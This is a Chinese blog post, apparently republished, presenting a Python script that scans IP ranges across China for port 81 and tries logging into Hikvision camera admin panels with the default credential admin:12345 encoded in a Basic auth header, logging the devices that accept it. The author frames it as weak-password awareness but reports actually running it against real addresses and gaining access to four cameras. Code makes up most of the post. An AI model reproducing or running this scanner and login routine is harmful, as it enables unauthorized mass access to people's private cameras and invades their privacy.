扫描全国的ip并识别摄像头


文章来源地址(获取源代码请访问):https://blog.oliverxu.cn

随着网络的迅速发展,现在物联网是个潮流,许多人的家中都装了网络摄像头,这种摄像头可以用ip远程访问并监控,自从前几年海康威视的弱密码漏洞的爆出,摄像头的安全性成了热门话题,因此,我将在这篇文章中模拟用弱密码登陆海康威视的管理界面,来一波模拟攻击,为了提醒大家的是,弱密码的危害很大,无论什么服务,大家如果还用弱密码的话就请赶快修改吧,因为你的隐私很同容易暴露。

好了,现在进入正题

目的

  • 扫描全国的ip,自动识别有海康威视后台管理界面的ip
  • 自动用弱密码模拟登陆后台管理界面
  • 记录使用弱密码的ip

步骤

获得全国所有的ip,这一步可以通过百度。

扫描ip的81端口,若打开,则使用弱密码模拟登陆一下

扫描81端口,判断是否打开

def scan(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    s.settimeout(1)
    try:
        result = s.connect_ex((ip, port))
        if result == 0:
            exploit(ip)
        else:
            pass
        s.close()
    except socket.error as e:
        s.close()
        print e

若打开,则模拟登陆

def exploit(ip):
    url = 'http://' + ip + ':' + str(port)
    userpwd = 'Basic YWRtaW46MTIzNDU=' 
    headers = {
        'X-Requested-With': 'XMLHttpRequest',
        'Refer': url + '/doc/page/login.asp',
        'If-Modified-Since': "0",
        "Authorization": userpwd
    }
    try:
        r = requests.get(url=url + '/ISAPI/Security/userCheck', headers=headers, timeout=5)
        if r.status_code == 200 and r.text.find('OK') != -1:
            logging.critical('{b8c66bcbce874cbcdfdaa03ff0f908635b9ef0379cd01189ad5fe3f67980b247}s : succeed' {b8c66bcbce874cbcdfdaa03ff0f908635b9ef0379cd01189ad5fe3f67980b247} ip)
            return True
        else:
            return False

    except Exception, e:
        return False

总结

就是这么简单,一个扫描全国ip并验证摄像头的简单脚本已经写好了,后期需要改进的就是这个脚本的性能了,这个脚本现在在cloudflexy这家垃圾主机商的vps上跑着,这里讲个插曲:我刚开始开的线程为1000,导致商家直接判定为a dos attack,后来,发了工单,将线程数调整到100才没被强制关机器。
截至我写这篇文章的时候,只有4个ip被成功登陆


没办法,这家机器太垃圾了,线程只能开这么大,得扫个几天才能扫完吧。
代码写得比较烂,并且这篇文章旨在揭示弱密码的危害,并不是想去攻击什么,所以代码就不全放上来了。

 

 

文章来源地址(获取源代码请访问):https://xujh.top/

 

 

 

你可能感兴趣的:(Linux,Python,爬虫)